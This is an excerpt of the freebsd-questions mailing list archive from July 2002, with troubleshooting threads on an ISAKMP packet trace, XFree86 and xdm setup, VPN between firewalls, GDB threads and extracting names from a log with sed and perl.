14:36:17.387671 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg:
    (hash: len=16) (DF)
14:36:17.487667 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg:
    (hash: len=16) (DF)
14:36:17.816164 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:18.387787 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:19.817694 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:19.989945 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:21.817694 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:21.939733 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:23.817694 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:23.902725 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:25.817695 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:25.887740 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:27.817694 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:27.893544 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:29.817750 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:29.904151 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:33.817767 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:33.891523 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:37.817766 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:37.897711 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:41.817772 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:41.894646 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:45.817771 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:45.891121 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]
14:36:49.817775 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
14:36:49.883577 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 2/others R inf[E]: [|hash]

-Matthew



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From owner-freebsd-questions  Mon Jul 29 12:53:50 2002
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To: Volker Kindermann <freebsd@secspace.de>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: xf86cfg gives file letting startx work, but not xdm--progress 
In-Reply-To: Your message of "Mon, 29 Jul 2002 21:34:53 +0200."
             <20020729213453.1c9357c9.freebsd@secspace.de> 
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> > I've installed xwrapper, and can now use startx, but I still can't get
>
> > xdm itself running :(
 
> have you tried to start xdm via /etc/ttys? There is a line prepared for
> starting xdm. You have only to change the "off" to "on" for ttyv8.

I usuall don't use that until I can run xdm successfully, as I've 
tended to have assorted editing to do.

It does give me a slightly different behavior :)

xdm still comes up blinking, and rather than killing it outright, 
"killall -9 xdm" leaves a functioning xserver with a working mouse (and 
nothing more) on console 8.  

What I have here is the "blinkies" that come when the config file uses 
the wrong server or invalid mode, and the server tries again and again 
to restart itself.  The problem, though, is that startx is able to use 
the config file, and xdm isn't.

I've redone the config file with xf86config instead of xf86cfg, to no 
avail.

hawk



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From owner-freebsd-questions  Mon Jul 29 13: 3:31 2002
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From: "Thomas Connolly" <tconnolly@electrosoftsolutions.com>
To: "'Jeff D. Hamann'" <jeff_hamann@hamanndonald.com>
Cc: <freebsd-questions@FreeBSD.ORG>
Subject: RE: broken XFree86-4 port on 4.4?
Date: Mon, 29 Jul 2002 14:03:06 -0600
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Hello,
I had the same trouble when trying to upgrade.  I'm not exactly sure
what causes that problem.  There were two ways I was able to get around
this problem.

1) Do a /stand/sysinstall and and do a post-install configuration.  This
will install 4.2.0 on your system or

2) Go to the XFree86 site and download the 4.2.0 release and use the
install script. 
 sh install.sh
The script seems to do a pretty good job.

Tom Connolly

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG] On Behalf Of Jeff D. Hamann
Sent: Friday, July 26, 2002 12:06 AM
To: freebsd-questions@FreeBSD.ORG
Subject: broken XFree86-4 port on 4.4?



> I've been tring to up date my XFree86 from 3.3.6 to 4.2.0 on my
FreeBSD
4.4
> machine so I can install gdal. I've run cvsup to get the latest and
greatest
> (then run make install from /usr/ports/x11/XFree86-4) and when it gets
to
a
> certain point, I get the following messages when trying to build from
the
> ports collection,
>
> making Makefiles in specs/XLFD...
> making Makefiles in specs/XProtocol...
> making Makefiles in specs/Xaw...
> making Makefiles in specs/Xext...
> "Makefile", line 963: Missing dependency operator
> "Makefile", line 964: Missing dependency operator
> "Makefile", line 1013: Missing dependency operator
> "Makefile", line 1038: Missing dependency operator
> "Makefile", line 1039: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> making Makefiles in specs/Xi...
> making Makefiles in specs/Xmu...
> making Makefiles in specs/Xserver...
> "Makefile", line 761: Missing dependency operator
> "Makefile", line 762: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> making Makefiles in specs/Xt...
> making Makefiles in specs/Xv...
> making Makefiles in specs/XvMC...
> making Makefiles in specs/i18n...
> making Makefiles in specs/rstart...
> "Makefile", line 659: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> making Makefiles in specs/xfs...
> making Makefiles in specs/xterm...
> making Makefiles in specs/xtrans...
> making Makefiles in hardcopy...
> including in ./misc...
> including in ./specs...
> including in specs/BDF...
> including in specs/CTEXT...
> including in specs/FSProtocol...
> including in specs/GL...
> including in specs/ICCCM...
> including in specs/ICE...
> including in specs/PM...
> rm -f PM_spec.txt
> ln -s PM_spec PM_spec.txt
> including in specs/Render...
> rm -f render-protocol.txt
> ln -s protocol render-protocol.txt
> including in specs/SM...
> including in specs/X11...
> including in specs/XDMCP...
> including in specs/XIM...
> including in specs/XLFD...
> including in specs/XProtocol...
> including in specs/Xaw...
> including in specs/Xext...
> "Makefile", line 963: Missing dependency operator
> "Makefile", line 964: Missing dependency operator
> "Makefile", line 1013: Missing dependency operator
> "Makefile", line 1038: Missing dependency operator
> "Makefile", line 1039: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc/specs.
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc.
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4-documents.
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4.
> stimpy# cat pkg-message
>
> Since I'm not that competent with changing makefiles yet, could
somebody
> help me out with this? Also, is it a pretty dicey process to upgrade
from
> XFree86 3.3.6 to 4.2.0? I would love to put FreeBSD on my laptop, but
the
> last time I tried it the behaviour wasn't all that great with XFree86
3.3.6.
>
> Thanks,
> Jeff.
>
>
> Jeff D. Hamann
> Hamann, Donald & Associates, Inc.
> PO Box 1421
> Corvallis, Oregon USA 97339-1421
> Bus. 541-753-7333
> Cell. 541-740-5988
> jeff_hamann@hamanndonald.com
> www.hamanndonald.com
>
>
>
>
>


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From owner-freebsd-questions  Mon Jul 29 13: 7:31 2002
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Date: Mon, 29 Jul 2002 21:07:20 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: "Jeff D. Hamann" <jeff_hamann@hamanndonald.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: broken XFree86-4 port on 4.4?
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On Thu, Jul 25, 2002 at 01:38:35PM -0700, Jeff D. Hamann wrote:
> I've been tring to up date my XFree86 from 3.3.6 to 4.2.0 on my FreeBSD 4.4
> machine so I can install gdal. I've run cvsup to get the latest and greatest
> (then run make install from /usr/ports/x11/XFree86-4) and when it gets to a
> certain point, I get the following messages when trying to build from the
> ports collection,

Make sure to install imake-4.2.0_1 before you try and install the
other XFree86-4.2.0 packages.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Mon Jul 29 13: 9:15 2002
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From: "Ben Shin" <bshin2000@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Issues With X Windows
Date: Mon, 29 Jul 2002 20:09:10 +0000
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I tried to start x windows using a non-root account.  However, I got a fatal 
error message saying I cannot open a log file. I can startx as root.  How 
can I fix this mistake?

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From owner-freebsd-questions  Mon Jul 29 13:14:36 2002
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Subject: Re: broken XFree86-4 port on 4.4?
From: Eric Anholt <eta@lclark.edu>
To: "Jeff D. Hamann" <jeff_hamann@hamanndonald.com>
Cc: "FreeBSD-Questions@FreeBSD.ORG" <questions@FreeBSD.ORG>,
	anholt@FreeBSD.ORG
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On Thu, 2002-07-25 at 09:33, Jeff D. Hamann wrote:
> I've been tring to up date my XFree86 from 3.3.6 to 4.2.0 on my FreeBSD 4.4
> machine so I can install gdal. I've run cvsup to get the latest and greatest
> (then run make install from /usr/ports/x11/XFree86-4) and when it gets to a
> certain point, I get the following messages when trying to build from the
> ports collection,

Some dependencies probably got missed because there's no real way for
the XFree86-4 metaport to ask for specific versions of ports.  What you
need to do is install portupgrade (ports/sysutils/portupgrade) and then
do portupgrade -Ri XFree86.  That should get you cleanly upgraded.

-- 
Eric Anholt <eta@lclark.edu>
http://people.freebsd.org/~anholt/dri/



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From owner-freebsd-questions  Mon Jul 29 13:17:15 2002
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Subject: Firewalling and VPN questions.
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Hi everyone,

I have a FreeBSD firewall in the office.  It's external address
is 208.something and internally the address is 10.1.1.1.  The
netmask is 255.255.0.0 and the internal network is split so that
static IP machines have IPs in the 10.1.1.something and DHCP
addresses are in the 10.1.2.something realm.

Now, I just put a new firewall in my apartment (connected via
cable modem) running FreeBSD.  Again, the network externally is
207 and change.  Internally, the address is 10.2.1.1.  The net
mask is 255.255.0.0 and static IPs are assigned to 10.2.1.x and
DHCP addresses are given in the range 10.2.2.x.

Both firewalls use the "SIMPLE" ruleset and natd to pass packets.

So, I want to VPN the two firewalls together so that, from home,
I can telnet to 10.1.1.5 and login to the machine there.  It
occurs to me that the way to this involves SSH and PPP, but I do
not know the details.  When I first configured the office firewall,
months ago, I left PPP in the kernel.  I'd prefer not to have to
reboot as physical access is nearly nil.  What is the best option
for me here?

Thank you, Jamie


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From owner-freebsd-questions  Mon Jul 29 13:30:16 2002
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Date: Mon, 29 Jul 2002 16:30:00 -0400
From: Steve Tremblett <sjt@cisco.com>
To: karl agee <kdagee@attglobal.net>
Cc: freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>,
	Tri-Cities Linux User Group <3clug@3clug.org>
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+---- karl agee wrote:
| Is there any way to parse a bash command history file (w/o scrolling) to find **that one
| command** you did????

IIRC, ctrl-R, then type the first few letters of the command, then hit
ctrl-R repeatedly to move through all that match

-- 
Steve Tremblett

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From owner-freebsd-questions  Mon Jul 29 13:35:16 2002
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Subject: Re: Issues With X Windows
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I had the same problem but fixed it by installing the xwrapper port.


At 08:09 PM 7/29/2002 +0000, Ben Shin wrote:
>I tried to start x windows using a non-root account.  However, I got a 
>fatal error message saying I cannot open a log file. I can startx as 
>root.  How can I fix this mistake?
>
>_________________________________________________________________
>Chat with friends online, try MSN Messenger: http://messenger.msn.com
>
>
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From owner-freebsd-questions  Mon Jul 29 13:58:37 2002
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From: "Siriysergei" <siriysergei@mail.ru>
To: <Questions@freebsd.org>
Subject: Conexant Soft56k int. 
Date: Wed, 31 Jul 2002 00:00:51 +0400
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Is it possible to configure the Conexant Soft56k int. modem under =
FreeBSD?

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<DIV><FONT face=3D"Arial Cyr" size=3D2>Is it possible to configure the =
Conexant=20
Soft56k int. modem under =
FreeBSD?</FONT></DIV></FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Mon Jul 29 13:59:52 2002
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Date: Mon, 29 Jul 2002 17:00:26 -0400 (EDT)
From: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
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Hello,

	I'm writing some code to pull screen names out of a log, but I
can't seem to figure out the regular expressions to get it done.  If you
want to see the log file it's at:
http://216.164.225.145:81/~uminac/mp3/logs/master
	What I've been looking to make the script do is just list the
screen names without the brackets, that's all.  For instance:

kelzy16
cc skillet
ccgirl436
ccgirl436
meikman99
bctictac8

	If anybody can help me out in this I'd appreciate it.

Thank you,
Christopher J. Umina


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From owner-freebsd-questions  Mon Jul 29 14: 1:39 2002
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Subject: Re: Conexant Soft56k int.
From: Larry Rosenman <ler@lerctr.org>
To: Siriysergei <siriysergei@mail.ru>
Cc: Questions@FreeBSD.ORG
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On Tue, 2002-07-30 at 15:00, Siriysergei wrote:
> Is it possible to configure the Conexant Soft56k int. modem under FreeBSD?
Not yet, to the best of my knowledge.  There is a LINUX driver, but I
haven't been able to convince anyone to take on helping with a port :-(


-- 
Larry Rosenman                     http://www.lerctr.org/~ler
Phone: +1 972-414-9812                 E-Mail: ler@lerctr.org
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From owner-freebsd-questions  Mon Jul 29 14: 1:58 2002
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To: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
Cc: FreeBSD Question Mailing List <questions@FreeBSD.ORG>
Subject: Re: matching a string
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Something like...

sed -e 's/^; \[//' -e 's/].*//' logfile

should work... I'm sure there are lots of other ways to do it as well.

On Mon, 29 Jul 2002, Christopher J. Umina wrote:

> Hello,
>
> 	I'm writing some code to pull screen names out of a log, but I
> can't seem to figure out the regular expressions to get it done.  If you
> want to see the log file it's at:
> http://216.164.225.145:81/~uminac/mp3/logs/master
> 	What I've been looking to make the script do is just list the
> screen names without the brackets, that's all.  For instance:
>
> kelzy16
> cc skillet
> ccgirl436
> ccgirl436
> meikman99
> bctictac8
>
> 	If anybody can help me out in this I'd appreciate it.
>
> Thank you,
> Christopher J. Umina
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
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From owner-freebsd-questions  Mon Jul 29 14:12:53 2002
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--part1_17.2bf3c52f.2a7709c9_boundary
Content-Type: text/plain; charset="US-ASCII"
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To whom it may concern:

I am the President of ACM at Mississippi State University. I would like to 
invite someone from your company to do a presentation at MSU for ACM. The 
topic of the presentation would be up to the presenter, but we would be 
interested in any presentation on any of the following topics:

    1. Linux Installation (one of the main barriers keeping people from using 
Linux)
    2. Advanced Linux Operations
    3. Programming in Linux
    4. Networking Linux boxes

If no one from your company is available to do a presentation, I will 
probably do the presentation myself on Linux installation. However, more 
people would come if you have a representative from your company doing the 
presentation.

If I do the presentation myself, I would appreciate it if you could send some 
"Powered By Linux" stickers and Linux installation CDs.

Thank you.

Sincerely,

James Wright
ACM President
P.O. Box 6991
MSU, MS 39762

--part1_17.2bf3c52f.2a7709c9_boundary
Content-Type: text/html; charset="US-ASCII"
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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>To whom it may concern:
<BR>
<BR>I am the President of ACM at Mississippi State University. I would like to invite someone from your company to do a presentation at MSU for ACM. The topic of the presentation would be up to the presenter, but we would be interested in any presentation on any of the following topics:
<BR>
<BR>    1. Linux Installation (one of the main barriers keeping people from using Linux)
<BR>    2. Advanced Linux Operations
<BR>    3. Programming in Linux
<BR>    4. Networking Linux boxes
<BR>
<BR>If no one from your company is available to do a presentation, I will probably do the presentation myself on Linux installation. However, more people would come if you have a representative from your company doing the presentation.
<BR>
<BR>If I do the presentation myself, I would appreciate it if you could send some "Powered By Linux" stickers and Linux installation CDs.
<BR>
<BR>Thank you.
<BR>
<BR>Sincerely,
<BR>
<BR>James Wright
<BR>ACM President
<BR>P.O. Box 6991
<BR>MSU, MS 39762</FONT></HTML>

--part1_17.2bf3c52f.2a7709c9_boundary--

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From owner-freebsd-questions  Mon Jul 29 14:15:46 2002
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Subject: GDB with -pthread program
To: freebsd-questions@freebsd.org
Date: Mon, 29 Jul 2002 14:12:36 -0700 (PDT)
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Hi,

I'm trying to debug a threaded (-pthread) program using gdb. When
I say "info threads" I see all of the created threads, but the main
thread does not appear (and it has not exited yet).  So there seems
to be no way to switch to the main thread to examine its stack.

Is there something I'm missing or is this just broken, and if so why?

Thanks,
-Archie

__________________________________________________________________________
Archie Cobbs     *     Packet Design     *     http://www.packetdesign.com

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From owner-freebsd-questions  Mon Jul 29 14:21:33 2002
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To: Oliver Humpage <oliver@watershed.co.uk>
Cc: Philip Hallstrom <philip@adhesivemedia.com>,
	FreeBSD Question Mailing List <questions@FreeBSD.ORG>
Subject: Re: matching a string
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when I run that this is my output even when I add the .+:

Sun Jul 07, 2002 at 17:10:03; [kelzy16
Mon Jul 08, 2002 at 17:17:12; [cc skillet
Wed Jul 10, 2002 at 17:53:41; [ccgirl436
Wed Jul 10, 2002 at 17:53:41; [ccgirl436
Thu Jul 11, 2002 at 16:58:31; [meikman99
Mon Jul 15, 2002 at 17:43:50; [bctictac8
Thu Jul 18, 2002 at 22:07:46; [superman lmd 69
Thu Jul 18, 2002 at 23:22:15; [russh2112
Thu Jul 18, 2002 at 23:22:27; [russh2112
Fri Jul 19, 2002 at 15:37:14; [lauren md 6 9
Fri Jul 19, 2002 at 16:36:06; [alldayyesterday
Fri Jul 19, 2002 at 16:47:38; [fritzilldo
Fri Jul 19, 2002 at 16:47:40; [beth42085
Sun Jul 21, 2002 at 19:17:59; [mastahuy85
Mon Jul 22, 2002 at 08:47:52; [dublindamien
Mon Jul 22, 2002 at 10:23:17; [adarc22
Mon Jul 22, 2002 at 10:23:28; [adarc22
Mon Jul 22, 2002 at 10:23:56; [adarc22
Mon Jul 22, 2002 at 23:42:21; [katsie236
Tue Jul 23, 2002 at 22:19:23; [e is happy
Wed Jul 24, 2002 at 19:04:14; [ilaughatyourlife
Thu Jul 25, 2002 at 08:58:54; [adarc22
Fri Jul 26, 2002 at 14:40:06; [devilchik205
Fri Jul 26, 2002 at 15:43:55; [alldayyesterday
Fri Jul 26, 2002 at 22:18:51; [reggie645
Fri Jul 26, 2002 at 22:36:57; [reggie645
Fri Jul 26, 2002 at 23:29:28; [sllissa85
Fri Jul 26, 2002 at 23:37:35; [jea9f2oo3
Fri Jul 26, 2002 at 23:49:17; [reggie645
Fri Jul 26, 2002 at 23:50:21; [reggie645
Fri Jul 26, 2002 at 23:51:29; [reggie645
Fri Jul 26, 2002 at 23:51:56; [reggie645
Fri Jul 26, 2002 at 23:54:01; [reggie645
Sat Jul 27, 2002 at 17:04:16; [meikman99
Sun Jul 28, 2002 at 10:08:09; [bctictac8
Sun Jul 28, 2002 at 10:39:36; [e is happy
Sun Jul 28, 2002 at 23:15:38; [babygurl2835
Sun Jul 28, 2002 at 23:17:05; [babygurl2835


On Mon, 29 Jul 2002, Oliver Humpage wrote:

>
> On Mon, 29 Jul 2002, Philip Hallstrom wrote:
>
> > Something like...
> >
> > sed -e 's/^; \[//' -e 's/].*//' logfile
> >
> > should work... I'm sure there are lots of other ways to do it as well.
>
> Wouldn't you need to make the first bit:
>
> 's/^.+; \[//'
>     ^^
> ?
>
> Apart from that, thanks for a demonstration of sed's -e flag, I didn't
> realise it did that :)
>
> Oliver.
>
> (PS This won't get posted to the list, since reverse IP lookup ain't
> working...)
>
>


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From owner-freebsd-questions  Mon Jul 29 14:22:32 2002
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From: Philip Hallstrom <philip@adhesivemedia.com>
To: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
Cc: Oliver Humpage <oliver@watershed.co.uk>,
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Subject: Re: matching a string
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Try using 's/^[^;]; \[//' as the first pattern.

On Mon, 29 Jul 2002, Christopher J. Umina wrote:

> when I run that this is my output even when I add the .+:
>
> Sun Jul 07, 2002 at 17:10:03; [kelzy16
> Mon Jul 08, 2002 at 17:17:12; [cc skillet
> Wed Jul 10, 2002 at 17:53:41; [ccgirl436
> Wed Jul 10, 2002 at 17:53:41; [ccgirl436
> Thu Jul 11, 2002 at 16:58:31; [meikman99
> Mon Jul 15, 2002 at 17:43:50; [bctictac8
> Thu Jul 18, 2002 at 22:07:46; [superman lmd 69
> Thu Jul 18, 2002 at 23:22:15; [russh2112
> Thu Jul 18, 2002 at 23:22:27; [russh2112
> Fri Jul 19, 2002 at 15:37:14; [lauren md 6 9
> Fri Jul 19, 2002 at 16:36:06; [alldayyesterday
> Fri Jul 19, 2002 at 16:47:38; [fritzilldo
> Fri Jul 19, 2002 at 16:47:40; [beth42085
> Sun Jul 21, 2002 at 19:17:59; [mastahuy85
> Mon Jul 22, 2002 at 08:47:52; [dublindamien
> Mon Jul 22, 2002 at 10:23:17; [adarc22
> Mon Jul 22, 2002 at 10:23:28; [adarc22
> Mon Jul 22, 2002 at 10:23:56; [adarc22
> Mon Jul 22, 2002 at 23:42:21; [katsie236
> Tue Jul 23, 2002 at 22:19:23; [e is happy
> Wed Jul 24, 2002 at 19:04:14; [ilaughatyourlife
> Thu Jul 25, 2002 at 08:58:54; [adarc22
> Fri Jul 26, 2002 at 14:40:06; [devilchik205
> Fri Jul 26, 2002 at 15:43:55; [alldayyesterday
> Fri Jul 26, 2002 at 22:18:51; [reggie645
> Fri Jul 26, 2002 at 22:36:57; [reggie645
> Fri Jul 26, 2002 at 23:29:28; [sllissa85
> Fri Jul 26, 2002 at 23:37:35; [jea9f2oo3
> Fri Jul 26, 2002 at 23:49:17; [reggie645
> Fri Jul 26, 2002 at 23:50:21; [reggie645
> Fri Jul 26, 2002 at 23:51:29; [reggie645
> Fri Jul 26, 2002 at 23:51:56; [reggie645
> Fri Jul 26, 2002 at 23:54:01; [reggie645
> Sat Jul 27, 2002 at 17:04:16; [meikman99
> Sun Jul 28, 2002 at 10:08:09; [bctictac8
> Sun Jul 28, 2002 at 10:39:36; [e is happy
> Sun Jul 28, 2002 at 23:15:38; [babygurl2835
> Sun Jul 28, 2002 at 23:17:05; [babygurl2835
>
>
> On Mon, 29 Jul 2002, Oliver Humpage wrote:
>
> >
> > On Mon, 29 Jul 2002, Philip Hallstrom wrote:
> >
> > > Something like...
> > >
> > > sed -e 's/^; \[//' -e 's/].*//' logfile
> > >
> > > should work... I'm sure there are lots of other ways to do it as well.
> >
> > Wouldn't you need to make the first bit:
> >
> > 's/^.+; \[//'
> >     ^^
> > ?
> >
> > Apart from that, thanks for a demonstration of sed's -e flag, I didn't
> > realise it did that :)
> >
> > Oliver.
> >
> > (PS This won't get posted to the list, since reverse IP lookup ain't
> > working...)
> >
> >
>


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From owner-freebsd-questions  Mon Jul 29 14:25:31 2002
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To: Philip Hallstrom <philip@adhesivemedia.com>
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	FreeBSD Question Mailing List <questions@FreeBSD.ORG>
Subject: Re: matching a string
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Same thing...

On Mon, 29 Jul 2002, Philip Hallstrom wrote:

> Try using 's/^[^;]; \[//' as the first pattern.
>
> On Mon, 29 Jul 2002, Christopher J. Umina wrote:
>
> > when I run that this is my output even when I add the .+:
> >
> > Sun Jul 07, 2002 at 17:10:03; [kelzy16
> > Mon Jul 08, 2002 at 17:17:12; [cc skillet
> > Wed Jul 10, 2002 at 17:53:41; [ccgirl436
> > Wed Jul 10, 2002 at 17:53:41; [ccgirl436
> > Thu Jul 11, 2002 at 16:58:31; [meikman99
> > Mon Jul 15, 2002 at 17:43:50; [bctictac8
> > Thu Jul 18, 2002 at 22:07:46; [superman lmd 69
> > Thu Jul 18, 2002 at 23:22:15; [russh2112
> > Thu Jul 18, 2002 at 23:22:27; [russh2112
> > Fri Jul 19, 2002 at 15:37:14; [lauren md 6 9
> > Fri Jul 19, 2002 at 16:36:06; [alldayyesterday
> > Fri Jul 19, 2002 at 16:47:38; [fritzilldo
> > Fri Jul 19, 2002 at 16:47:40; [beth42085
> > Sun Jul 21, 2002 at 19:17:59; [mastahuy85
> > Mon Jul 22, 2002 at 08:47:52; [dublindamien
> > Mon Jul 22, 2002 at 10:23:17; [adarc22
> > Mon Jul 22, 2002 at 10:23:28; [adarc22
> > Mon Jul 22, 2002 at 10:23:56; [adarc22
> > Mon Jul 22, 2002 at 23:42:21; [katsie236
> > Tue Jul 23, 2002 at 22:19:23; [e is happy
> > Wed Jul 24, 2002 at 19:04:14; [ilaughatyourlife
> > Thu Jul 25, 2002 at 08:58:54; [adarc22
> > Fri Jul 26, 2002 at 14:40:06; [devilchik205
> > Fri Jul 26, 2002 at 15:43:55; [alldayyesterday
> > Fri Jul 26, 2002 at 22:18:51; [reggie645
> > Fri Jul 26, 2002 at 22:36:57; [reggie645
> > Fri Jul 26, 2002 at 23:29:28; [sllissa85
> > Fri Jul 26, 2002 at 23:37:35; [jea9f2oo3
> > Fri Jul 26, 2002 at 23:49:17; [reggie645
> > Fri Jul 26, 2002 at 23:50:21; [reggie645
> > Fri Jul 26, 2002 at 23:51:29; [reggie645
> > Fri Jul 26, 2002 at 23:51:56; [reggie645
> > Fri Jul 26, 2002 at 23:54:01; [reggie645
> > Sat Jul 27, 2002 at 17:04:16; [meikman99
> > Sun Jul 28, 2002 at 10:08:09; [bctictac8
> > Sun Jul 28, 2002 at 10:39:36; [e is happy
> > Sun Jul 28, 2002 at 23:15:38; [babygurl2835
> > Sun Jul 28, 2002 at 23:17:05; [babygurl2835
> >
> >
> > On Mon, 29 Jul 2002, Oliver Humpage wrote:
> >
> > >
> > > On Mon, 29 Jul 2002, Philip Hallstrom wrote:
> > >
> > > > Something like...
> > > >
> > > > sed -e 's/^; \[//' -e 's/].*//' logfile
> > > >
> > > > should work... I'm sure there are lots of other ways to do it as well.
> > >
> > > Wouldn't you need to make the first bit:
> > >
> > > 's/^.+; \[//'
> > >     ^^
> > > ?
> > >
> > > Apart from that, thanks for a demonstration of sed's -e flag, I didn't
> > > realise it did that :)
> > >
> > > Oliver.
> > >
> > > (PS This won't get posted to the list, since reverse IP lookup ain't
> > > working...)
> > >
> > >
> >
>
>


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From owner-freebsd-questions  Mon Jul 29 14:27:29 2002
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Subject: Re: matching a string
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On Mon, 29 Jul 2002, Christopher J. Umina wrote:

> Hello,
>
> 	I'm writing some code to pull screen names out of a log, but I
> can't seem to figure out the regular expressions to get it done.  If you
> want to see the log file it's at:
> http://216.164.225.145:81/~uminac/mp3/logs/master
> 	What I've been looking to make the script do is just list the
> screen names without the brackets, that's all.  For instance:


Try this:

 perl -e 'while (<>) {if ($_=~/\[(.+)\]/) {print $1, "\n" }}' < file

Here's the perl script in a more readable form:


#!/usr/bin/perl -w

while (<>) {
	if ($_=~/\[(.+)\]/) {
		print $1, "\n";
	}
}

 			Fer



>
> kelzy16
> cc skillet
> ccgirl436
> ccgirl436
> meikman99
> bctictac8
>
> 	If anybody can help me out in this I'd appreciate it.
>
> Thank you,
> Christopher J. Umina
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Mon Jul 29 14:33:52 2002
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From: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
To: Fernando Gleiser <fgleiser@cactus.fi.uba.ar>
Cc: FreeBSD Question Mailing List <questions@FreeBSD.ORG>
Subject: Re: matching a string
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That worked..  I'll use it when I do stuff on the web about this log, but
I'd still like to know how to do it using sed or awk.

Thanks a lot though,
Christopher J. Umina

On Mon, 29 Jul 2002, Fernando Gleiser wrote:

> On Mon, 29 Jul 2002, Christopher J. Umina wrote:
>
> > Hello,
> >
> > 	I'm writing some code to pull screen names out of a log, but I
> > can't seem to figure out the regular expressions to get it done.  If you
> > want to see the log file it's at:
> > http://216.164.225.145:81/~uminac/mp3/logs/master
> > 	What I've been looking to make the script do is just list the
> > screen names without the brackets, that's all.  For instance:
>
>
> Try this:
>
>  perl -e 'while (<>) {if ($_=~/\[(.+)\]/) {print $1, "\n" }}' < file
>
> Here's the perl script in a more readable form:
>
>
> #!/usr/bin/perl -w
>
> while (<>) {
> 	if ($_=~/\[(.+)\]/) {
> 		print $1, "\n";
> 	}
> }
>
>  			Fer
>
>
>
> >
> > kelzy16
> > cc skillet
> > ccgirl436
> > ccgirl436
> > meikman99
> > bctictac8
> >
> > 	If anybody can help me out in this I'd appreciate it.
> >
> > Thank you,
> > Christopher J. Umina
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
>
>


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From owner-freebsd-questions  Mon Jul 29 14:40: 8 2002
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From: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
To: Viktor Lazlo <viktorlazlo@telus.net>
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Subject: Re: matching a string
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Perfect!

Thank you all,
Christopher J. Umina

On Mon, 29 Jul 2002, Viktor Lazlo wrote:

>
>
